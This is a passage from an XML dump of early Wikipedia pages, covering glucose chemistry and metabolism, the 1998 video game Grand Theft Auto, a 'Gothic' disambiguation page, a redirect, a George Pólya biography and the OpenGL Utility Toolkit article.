| [[Carbon|C]]&lt;sub&gt;6&lt;/sub&gt;[[Hydrogen|H]]&lt;sub&gt;12&lt;/sub&gt;[[Oxygen|O]]&lt;sub&gt;6&lt;/sub&gt;
|-
| [[Molecular mass]]
| 180.16 g mol&lt;sup&gt;&amp;minus;1&lt;/sup&gt;
|-
| [[Melting point]]
| &amp;alpha;-D-glucose: 146°C&lt;br/&gt;&amp;beta;-D-glucose: 150°C
|-
| [[Density]]
| ? g cm&lt;sup&gt;-3&lt;/sup&gt;
|-
| [[CAS registry number|CAS number]]
| 50-99-7 (D-glucose)
|-
| [[CAS registry number|CAS number]]
| 921-60-8 (L-glucose)
|-
| [[Simplified molecular input line entry specification|SMILES]]
| C(C1C(C(C(C(O1)O)O)O)O)O
|-
|}
&lt;/div&gt;

'''Glucose''' (Glc), a [[monosaccharide]], is one of the most important [[carbohydrate]]s. The cell uses it as a source of energy and metabolic intermediate. Glucose is one of the main products of [[photosynthesis]] and starts [[cellular respiration]]. The natural form (&lt;small&gt;D&lt;/small&gt;-glucose) is also referred to as '''dextrose''', especially in the food industry. This article deals with the D-form of glucose (see '''''Isomers'''''-section below)

==Structure==
[[Image:D-glucose.png|frame|right|''The chain form of &lt;small&gt;D&lt;/small&gt;-glucose'']]
[[Image:Space-filling_Glucose.jpg|thumb|left|80px|''A space-filling model of glucose'']]
Glucose contains six [[carbon]] [[atom]]s and an [[aldehyde]] group and is therefore referred to as an aldo[[hexose]]. The glucose molecule can exist in an open-chain (acyclic) and ring (cyclic) form, the latter being the result of an intramolecular reaction between the aldehyde C atom and the C-5 [[hydroxyl]] group to form an intramolecular [[hemiacetal]]. In water solution both forms are in equilibrium, and at [[pH]] 7 the cyclic one is the predominant. As the ring contains 5 carbon and one oxygen atoms, which resembles the structure of [[pyran]], the cyclic form of glucose is also referred to as glucopyranose. In this ring, each carbon is linked to an hydroxyl side group with the exception of the fifth atom, which links to a sixth carbon atom outside the ring, forming a CH&lt;sub&gt;2&lt;/sub&gt;OH group.

===Isomers===
Glucose has 4 optic centers which means that in theory glucose can have 15 [[Optical isomerism|optical stereoisomers]]. Only 7 of these are found in living organisms, and of these [[galactose]] (Gal) and [[mannose]] (Man) are the most important. These eight isomers (including glucose itself) are all [[diastereoisomer]]s in relation to each other and all belong to the [[Monosaccharide#Isomerism|&lt;small&gt;D&lt;/small&gt;-series]]. 

An additional asymmetric center at C-1 (called ''the anomeric carbon atom'') is created when glucose cyclizes and two ring structures, called [[anomer]]s, can be formed &amp;mdash; &amp;alpha;-glucose and &amp;beta;-glucose. They differ structurally in the orientation of the hydroxyl group linked to C-1 in the ring. When &lt;small&gt;D&lt;/small&gt;-glucose is drawn as a [[Haworth projection]], the designation ''&amp;alpha;'' means that the hydroxyl group attached to C-1 is below the plane of the ring, ''&amp;beta;'' means it is above. The &amp;alpha; and &amp;beta; forms interconvert over a timescale of hours in aqueous solution, to a final stable ratio of &amp;alpha;:&amp;beta; 36:64, in a process called ''[[mutarotation]]''. [[Image:Glucose Fisher to Haworth.gif|thumb|right|Glucose shifting from [[Fischer projection]] to [[Haworth projection]].]]

==Production==
===Natural===
#Glucose is one of the products of [[photosynthesis]] in [[plants]] and some [[prokaryote]]s.
#In animals and fungi, glucose is the result of the breakdown of [[glycogen]], a process known as [[Glycogenolysis|glycogenolysis]]. In plants - the breakdown substrate is [[starch]].
#In animals, glucose is synthesized in the [[liver]] and [[kidney]]s from non-carbohydrate intermediates, such as [[pyruvate]] and [[glycerol]], by a process known as [[gluconeogenesis]].

===Commercial===
Glucose is produced commercially via the [[enzyme|enzymatic]] [[hydrolysis]] of [[starch]].  Many crops can be used as the source of starch [[Maize]], [[rice]], [[wheat]], [[potato]], [[cassava]], [[arrowroot]], and [[sago]] are all used in various parts of the world.  In the [[United States]], [[cornstarch]] (from maize) is used almost exclusively.

This enzymatic process has two stages. Over the course of 1-2 hours near 100 &amp;deg;C, these enzymes hydrolyze starch into smaller carbohydrates containing on average 5-10 glucose units each.  Some variations on this process briefly heat the starch mixture to 130 &amp;deg;C or hotter one or more times. This heat treatment improves the solubility of starch in water, but deactivates the enzyme, and fresh enzyme must be added to the mixture after each heating.

In the second step, known as '''''saccharification''''', the partially hydrolyzed starch is completely hydrolyzed to glucose using the [[glucoamylase]] enzyme from the [[fungus]] ''[[Aspergillus niger]]''. Typical reaction conditions are [[pH]] 4.0&amp;ndash;4.5, 60 &amp;deg;C, and a carbohydrate concentration of 30&amp;ndash;35% by weight. Under these conditions, starch can be converted to glucose at 96% yield after 1&amp;ndash;4 days.  Still higher yields can be obtained using more dilute solutions, but this approach requires larger reactors and processing a greater volume of water, and is not generally economical.  The resulting glucose solution is then purified by [[filtration]] and concentrated in a [[multiple-effect evaporator]]. Solid D-glucose is then produced by repeated [[crystallization]]s.

==Function==
We can speculate on the reasons why glucose, and not another monosaccharide such as [[fructose]] (Fru) , is so widely used. Glucose can form from [[formaldehyde]] under [[abiotic]] conditions, so it may well have been available to primitive [[biochemical]] systems. Probably more important to advanced life is the low tendency of glucose, by comparison to other hexose sugars, to non-specifically react with the [[amino]] groups of [[protein]]s. This reaction ([[glycosylation]]) reduces or destroys the function of many [[enzyme]]s. The low rate of glycosylation is due to glucose's preference for the less reactive cyclic [[isomer]]. Nevertheless, many of the long-term complications of [[diabetes]] (e.g., [[blindness]], [[renal failure|kidney failure]], and [[peripheral neuropathy]]) are probably due to the glycosylation of proteins.

===As an energy source===
Glucose is a ubiquitous fuel in [[biology]]. Carbohydrates are the human body's key source of energy, providing 4 [[kilocalorie]]s (17 [[kilojoule]]s) of [[food energy]] per [[gram]]. Breakdown of carbohydrates (e.g. [[starch]]) yields mono- and disaccharides, most of which is glucose. Through [[glycolysis]] and later in the reactions of the [[Citric acid cycle]] (TCAC), glucose is [[oxidize|oxidized]] to eventually form [[carbon dioxide|CO&lt;sub&gt;2&lt;/sub&gt;]] and [[water]], yielding energy, mostly in the form of [[adenosine triphosphate|ATP]].

===As a precursor===
Glucose is critical in the production of [[protein]] and in [[lipid]] metabolism.&lt;/p&gt; Also, in plants and most animals, it is a precursor for [[Vitamin C]] (ascorbic acid) production.

Glucose is used as a precursor for the synthesis of several important substances. [[Starch]], [[cellulose]], and [[glycogen]] (&quot;animal starch&quot;) are common glucose [[polymer]]s ([[polysaccharide]]s). [[Lactose]] - the milk sugar, is a Glc-[[Galactose|Gal]] disaccharide. In [[sucrose]], another important disaccharide, glucose is joined to fructose.

==Sources and absorption==
All major dietary carbohydrates contain glucose, either as their only building block, as in starch and glycogen, or together with another monosaccharide, as in sucrose and lactose. In the lumen of the duodenum and small intestine the oligo- and polysaccharides are broken down to monosaccharides by the pancreatic and intestinal glycosidases. Glucose is then transported across the apical membrane of the enterocytes by [[SLC5A1]] and later across their basal membrane by [[SLC2A2]] ([http://www.biochemj.org/bj/360/0265/bj3600265.htm ref]). Some of glucose goes directly to fuel [[brain cells]] and erythrocytes, while the rest makes its way to the [[liver]] and [[muscle]]s, where it is stored as glycogen, and to [[adipose tissue|fat cells]], where it is stored as [[fat]]. Glycogen is the body's auxiliary energy source, tapped and converted back into glucose when there is needs for energy.

==See also==
*[[HbA1c]]

==External links==
* {{EINECSLink|200-075-1}} (D-glucose)
* {{EINECSLink|213-068-3}} (L-glucose)
* {{PubChemLink|5793}} (D-glucose)
* {{PubChemLink|206}} (L-glucose)
* [http://www.evowiki.org/index.php/Glucose More on the chemistry and function of glucose in biology at EvoWiki]
* [http://www.compchemwiki.org/index.php?title=Glucose Computational Chemistry Wiki]

{{Link FA|id}}


[[Category:Chemical pathology]]
[[Category:Monosaccharides]]
[[Category:Nutrition]]
[[Category:Sweeteners]]

[[bg:Глюкоза]]
[[be:Глюкоза]]
[[ca:Glucosa]]
[[cs:Glukosa]]
[[da:Glukose]]
[[de:Traubenzucker]]
[[es:Glucosa]]
[[eo:Glukozo]]
[[fr:Glucose]]
[[ko:포도당]]
[[id:Glukosa]]
[[it:Glucosio]]
[[he:גלוקוז]]
[[lv:Glikoze]]
[[lt:Gliukozė]]
[[mk:Глукоза]]
[[nl:Glucose]]
[[ja:グルコース]]
[[no:Glukose]]
[[nn:Glukose]]
[[pl:Glukoza]]
[[pt:Glicose]]
[[ru:Глюкоза]]
[[sk:Glukóza]]
[[su:Glukosa]]
[[sv:Glukos]]
[[th:กลูโคส]]
[[tr:Glukoz]]
[[uk:Глюкоза]]
[[zh:葡萄糖]]</text>
    </revision>
  </page>
  <page>
    <title>Grand Theft Auto (game)</title>
    <id>12952</id>
    <revision>
      <id>42091424</id>
      <timestamp>2006-03-03T19:46:15Z</timestamp>
      <contributor>
        <username>Flamingspinach</username>
        <id>179659</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/84.65.175.31|84.65.175.31]] to last version by 4.226.78.13</comment>
      <text xml:space="preserve">{{this article is about|a video game. For other uses, see [[Grand theft auto]]}}
{{Infobox CVG| title = Grand Theft Auto
|image = [[Image:GTA - Box Front.jpg|250px|''Grand Theft Auto'' UK box art, PC version]]
|developer = [[Rockstar North|DMA Design]]
|publisher = [[ASC Games]]
|designer = 
|engine = 
|released = [[Personal computer|PC]] and [[PlayStation]] [[1998]]/[[1999]]&lt;br/&gt; [[Game Boy Color]] [[1999]]/[[2000]]
|genre = [[Action game|Action]]
|modes = [[Single player]], [[multiplayer]]
|ratings = [[BBFC]]: 18 &lt;br/&gt; [[ESRB]]: Mature (M) &lt;br/&gt; [[ESRB]]: Teen (T) (Game Boy Color version)
|platforms = [[Personal computer|PC]], [[PlayStation]], [[Game Boy Color|GBC]]
|media = 
|requirements = 
|input = 
}}
'''''Grand Theft Auto''''' ('''''GTA''''') is a [[computer and video game]] created by [[DMA Design]] (now [[Rockstar North]]) and published by [[ASC Games]] in [[1998]]. It is part of a series that includes seven standalone games, and one expansion pack for the original. ''See [[Grand Theft Auto (series)]] for more on the series and other games in it.''

The game allows the player to take on the role of a criminal who can roam around the city freely. Various missions are set for completion, such as bank robberies, assassinations, and other crimes.

==Gameplay==
The original ''Grand Theft Auto'' is made up of a series of [[level (computer and video games)|level]]s each set in one of the three [[city|cities]] in the game. In each level, the player has a target number of [[point]]s to achieve, and five [[life|lives]] to attain the score.

The score counter doubles as a money meter; the player can spend this money on paint jobs and various other things. However, any money spent is of course taken away from the score, making the goal that little bit further away.

On obtaining the target number of points, the player must then drive to a certain location to complete the level, which allows progress to the next one.

Apart from that, the player is free to do whatever he wants. The player can just explore the city, cause death and destruction amid the traffic in the city, or steal and sell cars for profit, although completing a level will almost certainly require the completion of missions. Even in missions there is still some freedom, as usually the player is free to choose the route to take, although the destination is usually fixed. This level of freedom is not found in most action-based computer games.

===Earning points===
There are various ways in which to earn the points needed to complete each level.

Some points can be earned by committing various crimes, such as ramming cars (10 points each), and killing policemen (1000 each). The more serious the crime, the more points, but also the more the police will pay attention to the player. Another way to make money is to steal cars, and sell them at the many docks around each city, usually earning several thousand points.

These activities can give the player quite a number of points but they are not sufficient to earn the millions of points needed to complete each level (unless the player has a lot of patience), so it is necessary to  take on missions to complete a level. On successful completion of a  mission, the player gets 'paid', a large amount of points. A typical payment is in the region of 50,000 points.

Also after completing a mission, the score multiplier is increased by 1. The score multiplier is multiplied by the normal score for something, to get the points actually awarded. For example a multiplier of 3 will mean that the player gets 3 &amp;times; 10 = 30 points for ramming a car, rather than the normal 10 points. This applies for anything points are awarded for, including the payment for completing a mission.

In the Game Boy port, score multipliers are handled differently. The player can collect floating &quot;X&quot;es hidden in each city, that automatically add a multiplier to his score counter. The first time one is picked up it says &quot;&amp;times;2&quot;, the second time it says &quot;&amp;times;3&quot;, and so on. This only affects points gained after acquiring the multiplier.  The points the player already has are unaffected, so it is in the player's best interests to seek the &quot;X&quot;es as soon as possible.

=== Locations ===
[[Image:GTA1 PC in-game screenshot.png|250px|thumb|right|Screenshot of ''Grand Theft Auto'' showing the top down view in Liberty City]]
The three cities in which the game is set are modelled after real cities, in terms of landscape and style.  They are [[Liberty City (fictional)|Liberty City]] ([[New York City]]), [[San Andreas (Grand Theft Auto)|San Andreas]] ([[San Francisco, California|San Francisco]]), and [[Vice City]] ([[Miami, Florida|Miami]]).

Those three cities later became the settings for the games ''[[Grand Theft Auto III]]'', ''[[Grand Theft Auto: Vice City]]'', ''[[Grand Theft Auto: San Andreas]]'' and ''[[Grand Theft Auto: Liberty City Stories]]'', although in the second-to-last, San Andreas is expanded from a city to an American state, which contains three cities of its own: Los Santos (based on [[Los Angeles]]), San Fierro (based on [[San Francisco]]), and Las Venturas (based on [[Las Vegas]]).

===The missions===
In most cases, missions are started by answering [[telephone]]s, although some missions are allocated on the spot, or are triggered by entering certain vehicles. Once a phone is touched, the player is stuck doing that mission until he passes or fails it, but with the cars it is different. The player is told &quot;I've got a new job for you, if you want it. Otherwise get the hell out of my car.&quot; He then has a few seconds to jump out before that mission begins.

The payphones all stop ringing while a player is on a phone mission, but the mission cars are still available. By accepting a mission car mission the player can override a phone mission (failing it but without a failure notice) and do that mission instead, but a phone mission cannot override a car mission as the phones stop ringing.

At the start of each mission, the player will be given a series of instructions he must follow. The instructions are given in stages, so the objectives can change in a given situation.

Many of the missions involve tasks that can be completed at the player's own pace, so the player can take a leisurely pace, and observe the traffic laws, although there is always a temptation to cut corners. However, sometimes the game imposes time limits on mission completion, or there may be people giving chase, such as enemy [[gangster]]s, or the [[police]], forcing the player to cut corners, to get to the destination on time and/or evade the pursuers. This means running red lights, driving on the sidewalk (risking running over pedestrians), and finding shortcuts.

===The police===
Whilst the cities have other [[emergency services]], as a criminal you are more likely to notice the local cops.

The [[police]] are constantly on the lookout for criminals. The player has a 'wanted' level, which reflects how much attention the police give him. At the start of the game this is at zero and the player is ignored, but when the player commits a serious crime, the police give the player more attention, and the wanted level increases, up to a maximum of four.

At wanted level one, the police tend only to give chase if they are in the area anyway, whereas at four, the police set up roadblocks on major roads, shoot on sight, and send everyone available to the player's location. The more crimes the player commits, the higher the rating goes. Also, sometimes the player automatically gets noticed, if a mission leads to someone calling the police, or in the case of bank robberies that not surprisingly put the police on full alert.

The police's aim is in general to arrest the player, although they will not hesistate in shooting at him or trying to ram him off the road in the desperate attempt to stop the player, and they get more trigger happy the higher the wanted level. On arrest, the player is dropped off at the nearest police station, losing all his weapons and armour and half of his score multiplier, but the wanted level is reset back to zero.

The police are very determined to catch the player, but they can be evaded. Dotted around each city are a number of respray shops, where your vehicle can be resprayed, or have the [[license plate]]s changed, to disguise it. This makes the police think you are someone else, even if they see you enter the shop, although this does cost money (i.e. points). The higher a player's wanted level, the more points it costs him to to have his car re-sprayed or plates changed.

===Pickups===
In the game, there are a number of objects to pickup, that are contained in crates, and in fact this is where all the player's weapons are obtained.

====Weapons====
The '''[[Pistol]]''' is a rather uninspiring weapon, but it is the most readily available. It fires shots one at a time, and whilst it is good enough against individuals, is not very useful in destroying vehicles.

A '''[[Machine gun]]''' is quite a step up from the pistol, allowing rapid firing, and can destroy most cars in seconds. The availability of machine guns is more limited than pistols.

The '''[[Flamethrower]]''' is very destructive, and highly effective, but it only has a short range. If it is used to destroy cars, this short range means that there is more risk of being caught in the explosion.  The advantage of the flamethrower is a tripling of the points that would normally be awarded for killing people and destroying cars. With the flamethrower you are able to fire over car wrecks, so you can use a car wreck as a shield against bullets.

The '''[[Rocket launcher]]''' is one of the most destructive weapons, that can destroy most vehicles in a single shot, as well as causing a large explosion that could kill more than just the original target. This can be a downside, as if the rocket accidentally hits something close to the player such as a pedestrian who walks into the line of fire at the wrong moment, the player can get caught in the explosion.

'''[[Body armor]]''' is not a weapon, but is very useful in combat. Normally being shot once is enough to kill the player, but body armour will protect from three shots before its protection wears out. On the Game Boy version, the body armor seems to only protect the player from two shots.

====Powerups====
Some of the powerups are self-explanatory, such as the [[extra life]] and (bonus)multiplier increase. However, there are some more interesting bonuses, that deserve more of a mention:

The '''Police Bribe''' is useful if the police are looking for the player, as it reduces his wanted level to zero, in a similar manner to going to a respray shop, so they suddenly ignore him. However, once a Police Bribe has been picked up, it's gone forever, so the player has to weigh up the odds of taking it straight away for convenience or going all the way to a respray shop to save it for a later mission when they have greater need of it.

On picking up a '''Kill Frenzy''' (called a Rampage in later games), a timer starts counting down; the player must obtain a certain number of points within this time and is usually given a weapon to do this with. This encourages the player to cause carnage by blowing up cars and killing people, attracting the attention of the police. This increases the challenge, as the player has to avoid (or kill) the police while getting the points. Although killing the police earns more points than killing civilians, the police will then be after the player, and he may have a weapon, such as a rocket launcher, that is unsuitable for killing the police as they close in.

If the player is successful, he gets a monetary reward, and in addition his wanted level is reduced to zero, so the police ignore the player despite the incredible destruction he just caused. This provides an incentive to complete the challenge, particularly as failure will leave the player with whatever wanted level he had acquired, often quite a high one due to the killings and destruction usually involved in an attempted killing spree.

These missions sometimes provide the player with a vehicle to complete the frenzy. These include tanks, and [[remote control]] cars packed with explosives.

The '''Speed Up''' and '''Car speed up''' powerups are similar, in that the former allows the player to run faster, whilst the latter speeds up any cars the player drives. Both of these are therefore useful if the player is in a hurry, and as a secondary benefit will allow the player to complete the game faster. The '''Car speed up''' powerup does display one disadvantage - the cars, being far faster than usual, are harder to control and are more susceptible to damage with high-speed impacts, increasing the risk of the car exploding - with the player inside. 

The '''Get Outta Jail Card''', unlike the other powerups, is not used immediately. Instead, it is used when the player is arrested, and means he keep any weapons carried, as well as the score multiplier.

===Vehicles===
In the game, there are a large number of [[vehicle]]s, each with their own characteristics, from fast [[sports car]]s, to slow but resilient [[truck]]s. These can be stolen by throwing the occupant onto the street, or breaking into those that are parked. Some vehicles are also provided in missions, or hidden in various parts of each city. Also, each city has a [[train]] service, that lets you travel quickly around it.

Much of the [[traffic]] of each city consists of [[automobile|car]]s of various sorts. These vary considerably in speed. The more sensible cars are fairly slow, and have appropriate names such as the Bug. The sports cars however are much faster, and have names like Jugular{{ref|1}} which reflect their more adventurous nature. These are more suitable for high speed chases, whereas the slower cars are more suited to missions with no time-limit. [[Van]]s are also similar to cars as well, although they usually are at the slower end of the scale.

Some of the vehicles are longer and more unwieldy than cars. These include [[limousine]]s, [[bus]]es and [[coach]]es, but the biggest of these is the [[tanker truck]]. Due to their bulk each one takes a long time to speed up, or slow down, and they have similar difficulties in turning, having a wider [[turning radius]]. This bulk also gives such vehicles more pushing power, making them ideal for ramming cars out of the way, and also makes them very difficult to ram. They also tend to be more resilient, taking more damage before they are destroyed.

In contrast, [[motorbike]]s are small and much more maneuverable, with a smaller turning circle, and are able to speed up and slow down very quickly. They also tend to have high top speeds. Their lack of bulk, however, means that they are more vulnerable. They can take less damage, and are easier to ram, whilst having very little ramming power of their own, and a violent enough collision can throw the player off the bike (in the Game Boy version the player was never thrown off the bike).

Some vehicles, however, such as ones given for missions, may be more sensitive to damage, such as ones loaded with explosives.

The emergency services also have vehicles, that can be stolen. [[Fire engine]]s are large vehicles, similar in handling to tankers. They are called out whenever there is a fire, usually as a result of an explosion. [[Ambulance]]s are similar to small vans, and are called out in the case of someone being injured. Both of these are frequently the result of the player's  actions. Finally the police in their [[squad car]]s are called out to chase criminals, the player in particular. Unlike other drivers, the police cannot be simply thrown out of their vehicles, but their cars can be stolen if their drivers are killed or lured out of their  vehicles.  None of these vehicles can have their plates changed to reset the wanted level.

One exception to this is the [[tank]]. This, as would be expected, can simply drive over other vehicles on the road, and cannot be rammed by other vehicles. It can take a lot of damage before being destroyed, although it isn't quite invincible. Tank are very rare, and are usually hidden, on levels that have them.

== Ports ==
The original ''Grand Theft Auto'' was first available for [[DOS]], and then later ported to [[Microsoft Windows]], [[Sony PlayStation]], and [[Game Boy Color]]. Surprisingly, the Game Boy Color version was unabridged, which was quite a technical achievement due to the sheer size of the cities, converted tile-for-tile from the PC original, making them many times larger than most Game Boy Color game worlds were because of the handheld's limited hardware. To cater for the target younger generation, however, the game was heavily censored, with gore and swearing removed.

== Controversy ==
The game, with its violent subject matter, generated a great deal of controversy. However, this was deemed to be intentional, and was the first game known to have been publicised in such a way. Take 2 Games, the publishers of ''Grand Theft Auto'', hired publicist [[Max Clifford]] to generate an aura of controversy about the game in the local media. As a result, politicians stepped into the foray. Whatever the impact on game censorship and the perception of video gaming, the publicity worked - the title was hugely successful simply because those attempting to ban the game were inadvertently generating publicity for it. This has been a known and recognised phenomenon of violent video games ever since.

==Trivia==
* One of the hidden [[Easter egg]]s in the game is the now famous &quot;[[Gouranga]]&quot; bonus, given for swiftly killing an entire group of [[Hare Krishna]] monks.
* The parts of the cities are based on their real-life counterparts, such as Liberty City's neighborhoods. There are neighborhoods like the Brix, which is based on [[The Bronx]], Brocklyn (obviously based on [[Brooklyn]]). Vice City has the same thing, featuring districts such as Vice Beach and Banana Grove, which are based on Miami Beach and Coconut Grove.
* El Burro, the man players would take missions from in the second part of the San Andreas missions, also appears in ''[[Grand Theft Auto III]]'', he is the man that provide jobs in Portland island, Liberty City, and is the leader of the [[Puerto Rico|Puerto Rican]] Diablos gang.
* Head Radio is one (if not the only) original station left. It was in this game, and it was also a station in ''Grand Theft Auto III'' as well as in ''[[Grand Theft Auto: Liberty City Stories]]''.

== See also ==
*''[[Grand Theft Auto: London, 1969]]''
*''[[Grand Theft Auto: London, 1961]]''

==Footnotes==
*{{note|1}} The name Jugular is the game's take on the [[Jaguar (car)|Jaguar]]. Quite a few of the cars have such names, such as the Bug, a name based on the [[VW Beetle]], and the Mundaneo, a take on the [[Ford Mondeo]] but giving a sense of it being &quot;mundane&quot;. Also the &quot;Cossie&quot;, which was a performance car inspired by the Escort Cosworth with its whaletail spoiler.

==External links==
* [http://www.rockstargames.com/classics/ Free download of ''GTA'' and ''GTA2'' as ''Rockstar Classics'']
* [http://www.gamefaqs.com/computer/doswin/data/197476.html GameFAQs entry on the game, with FAQs and walkthroughs]
* {{moby game|id=/grand-theft-auto|name=''Grand Theft Auto''}}

=== Fan sites ===
* [http://www.gtaclassics.com GTA Classics]
* [http://www.gtagaming.com GTAGaming]
* [http://www.planetgrandtheftauto.com/gta/ ''Grand Theft Auto'' in PlanetGrandTheftAuto]
&lt;!-- * [http://www.gtaforum.no/ GTAForum.no], Norways biggest GTA related forum
--&gt;
{{Grand Theft Auto series}}

&lt;!-- 
FAIR USE of Gta1-pc.jpeg: see image description page at http://en.wikipedia.org/wiki/Image:Gta1-pc.jpeg for rationale.

FAIR USE of Gta3-pc-police.jpeg: see image description page at http://en.wikipedia.org/wiki/Image:Gta3-pc-police.jpeg for rationale.
--&gt;

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  </page>
  <page>
    <title>Gothic</title>
    <id>12953</id>
    <revision>
      <id>41744359</id>
      <timestamp>2006-03-01T12:46:34Z</timestamp>
      <contributor>
        <username>Leyasu</username>
        <id>543529</id>
      </contributor>
      <comment>Gothic metal is not grim and morbid.</comment>
      <text xml:space="preserve">{{Wiktionarypar|Gothic}}
'''Gothic''' may mean:

As it relates to the [[Goths]] (''Gothos'', ''Getas''), a Germanic tribe:
*[[Gothic language]]
*[[Gothic alphabet]]

From a [[Renaissance]]  perspective (originally Italian, ''gotico'', with connotations of &quot;rough, barbarous&quot;), it conveyed the opposite of '[[Classical Antiquity|classical]]' or '[[Ancient Rome|Roman]]', hence:
* [[High Medieval]] northern European art, especially architecture:
**[[Gothic art]]
**[[Gothic architecture]]
**[[International Gothic]]
**[[Gothic Revival architecture]] originating in the 18th century
**[[Gothic (moth)]], a species of noctuid moth named after its patterns reminiscent of Gothic architecture
* Another name for [[Blackletter]], a script developed in the Middle Ages

From the 18th century, the word came to mean [[Germanic]] in general (synonymously with [[Teutonic]]), with grim  overtones (e.g. from the contrast of [[Germanic mythology]] with classical [[Greek mythology]]):
* [[Gothic novel]], a British literary genre from the late 18th and early 19th century, with a Victorian revival a hundred years later

From its use in [[Romanticism]], the word in the 20th century came to refer to anything dark or gloomy:
* [[Gothic horror]]
* [[Goth]] subculture
* [[Gothic rock]]
* [[Gothic_metal#Gothic_doom|Gothic-Doom]]
* [[Gothic fashion]]
* [[Gothic (computer game)]], a roleplaying computer game
* [[Gothic (movie)|''Gothic'' (movie)]], a 1986 film by Ken Russell
* [[Gothic (album)|''Gothic'' (album)]], a 1992 album by the heavy metal band Paradise Lost


More recent uses:
* Another name for [[sans-serif]] typefaces
* [[Japanese gothic typeface]], a common printing style in Japanese printing
* [[Gothic Chess]], a chess variant

==See also==
*[[Gothicismus]]
*[[Germanic]]

{{disambig}}

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[[da:Gotik]]
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  </page>
  <page>
    <title>Goddess Venus</title>
    <id>12954</id>
    <revision>
      <id>15910600</id>
      <timestamp>2002-10-03T14:34:43Z</timestamp>
      <contributor>
        <username>TUF-KAT</username>
        <id>8351</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Venus (mythology)]]</text>
    </revision>
  </page>
  <page>
    <title>George Pólya</title>
    <id>12955</id>
    <revision>
      <id>41716408</id>
      <timestamp>2006-03-01T06:40:53Z</timestamp>
      <contributor>
        <username>SheldonN</username>
        <id>936276</id>
      </contributor>
      <comment>Added Wikipedia reference to How to Solve It</comment>
      <text xml:space="preserve">'''George Pólya''' ([[December 13]], [[1887]] - [[September 7]], [[1985]], in [[Hungarian language|Hungarian]] ''Pólya György'') was a [[mathematician]], who was born in [[Budapest]], [[Hungary]] and died in [[Palo Alto]], [[United States|USA]].

He worked on a great variety of mathematical topics, including [[series (mathematics)|series]], [[number theory]], [[combinatorics]], and [[probability]].

In his later days, he spent considerable effort on trying to characterize the general methods that people use to solve problems, and to describe how problem-solving should be taught and learned. He wrote three books on the subject: ''[[How to Solve It]]'', ''Mathematics and Plausible Reasoning Volume I: Induction and Analogy in Mathematics'', and ''Mathematics and Plausible Reasoning Volume II: Patterns of Plausible Reasoning''. 

In [[How_to_Solve_It|''How to Solve It'']], Pólya provides general [[heuristics]] for solving problems of all kinds, not simply mathematical ones. The book includes advice for teaching students mathematics and a mini-encyclopedia of heuristic terms. It was translated into several languages and has sold over a million copies. Russian [[physicist]] [[Zhores Ivanovich Alferov|Zhores I. Alfyorov]], ([[Nobel Prize in Physics|Nobel laureate]] in [[2000]]) praised it, saying he was very pleased with Pólya's famous book. 

In 1976 The Mathematical Association of America established the George Pólya award for &quot;for articles of expository excellence published in the College Mathematics Journal.&quot;

In ''Mathematics and Plausible Reasoning Volume I'', Pólya discusses [[inductive reasoning]] in mathematics, by which he means reasoning from particular cases to the general rule. (He also includes a chapter on the technique called [[mathematical induction]], but that technique is not his main theme.) In ''Mathematics and Plausible Reasoning Volume II'', he discusses more general forms of [[inductive logic]] that can be used to roughly determine to what degree a conjecture (in particular, a mathematical conjecture) is plausible. 

Some quotes:
*How I need a drink, alcoholic of course, after the heavy chapters involving [[quantum mechanics]]. (This is a mnemonic for the first fourteen digits of [[pi|π]]; the lengths of the words are the digits)
* If you can't solve a problem, then there is an easier problem you can solve: find it.
*A great discovery solves a great problem, but there is a grain of discovery in the solution of any problem. Your problem may be modest, but if it challenges your curiosity and brings into play your inventive faculties, and if you solve it by your own means, you may experience the tension and enjoy the triumph of discovery.

==Bibliography==
* {{cite book | last = Pólya | first =  George | title = How to Solve It | publisher = Penguin Books | year = 1990 | id = ISBN 0140124993 }} includes foreword by [[Ian Stewart (mathematician)|Ian Stewart]]

== See also ==
* [[Polya distribution]]
* [[Pólya Prize]]

== External links ==
*[http://www.cis.usouthal.edu/misc/polya.html George Pólya: How to Solve It]
*[http://www.maa.org/Awards/polya.html The George Pólya Award]
*{{MacTutor Biography|id=Polya}}

[[Category:1887 births|Polya, George]]
[[Category:1985 deaths|Polya, George]]
[[Category:20th century mathematicians|Polya, George]]
[[Category:Combinatorists|Polya, George]]
[[Category:Hungarian mathematicians|Polya, George]]

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[[zh:喬治·波利亞]]</text>
    </revision>
  </page>
  <page>
    <title>OpenGL Utility Toolkit</title>
    <id>12956</id>
    <revision>
      <id>40364172</id>
      <timestamp>2006-02-20T01:56:32Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">:''This article is about the OpenGL toolkit. GLUT can also stand for [[glucose transporter]].''

The '''[[OpenGL]] Utility [[widget toolkit|Toolkit]]''' ('''GLUT''') is a library of utilities for OpenGL programs, which primarily perform system-level [[input/output|I/O]] with the host [[operating system]].  Functions performed include window definition, window control, and monitoring of [[Computer keyboard|keyboard]] and [[Computer mouse|mouse]] input. Routines for drawing a number of geometric primitives (both in solid and wireframe mode) are also provided, including [[cube (geometry)|cube]]s, [[sphere]]s, and the [[Utah teapot]]. GLUT even has some limited support for creating pop-up windows.

GLUT was written by [[Mark Kilgard|Mark J. Kilgard]], author of ''OpenGL Programming for the X Window System'' and ''The CG Tutorial: The Definitive Guide to Programmable Real-Time Graphics'' while he was working for [[Silicon Graphics]] Inc.

The two aims of GLUT are to allow the creation of rather portable code between operating systems (GLUT is [[cross-platform]]) and to make learning OpenGL easier. Getting started with OpenGL programming while using GLUT often takes only a few lines of code and requires no knowledge of operating system&amp;ndash;specific windowing [[application programming interface|API]]s.

All GLUT functions start with the &lt;code&gt;glut&lt;/code&gt; prefix (for example, &lt;code&gt;glutPostRedisplay&lt;/code&gt; rerenders the current screen).

Freeglut and its spin-off, OpenGLUT, are [[open source]] alternatives to GLUT. Freeglut attempts to be a fairly exact clone, OpenGLUT adds a number of new features to the API. Both have the advantage of licensing that permits users to modify and redistribute the library.

==See also==
* [[GLU]]
* [[GLUI]]

==External links==
*[http://www.opengl.org/documentation/specs/glut/spec3/spec3.html GLUT documentation]
*[http://openglut.sourceforge.net/ OpenGLUT]
*[http://freeglut.sourceforge.net/ FreeGLUT]

[[Category:3D computer graphics]]
[[Category:SourceForge projects]]

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  </page>
  <page>
    <title>Giovanni Boccaccio</title>
    <id>12957</id>
    <revision>
      <id>41895461</id>
      <timestamp>2006-03-02T12:58:32Z</timestamp>
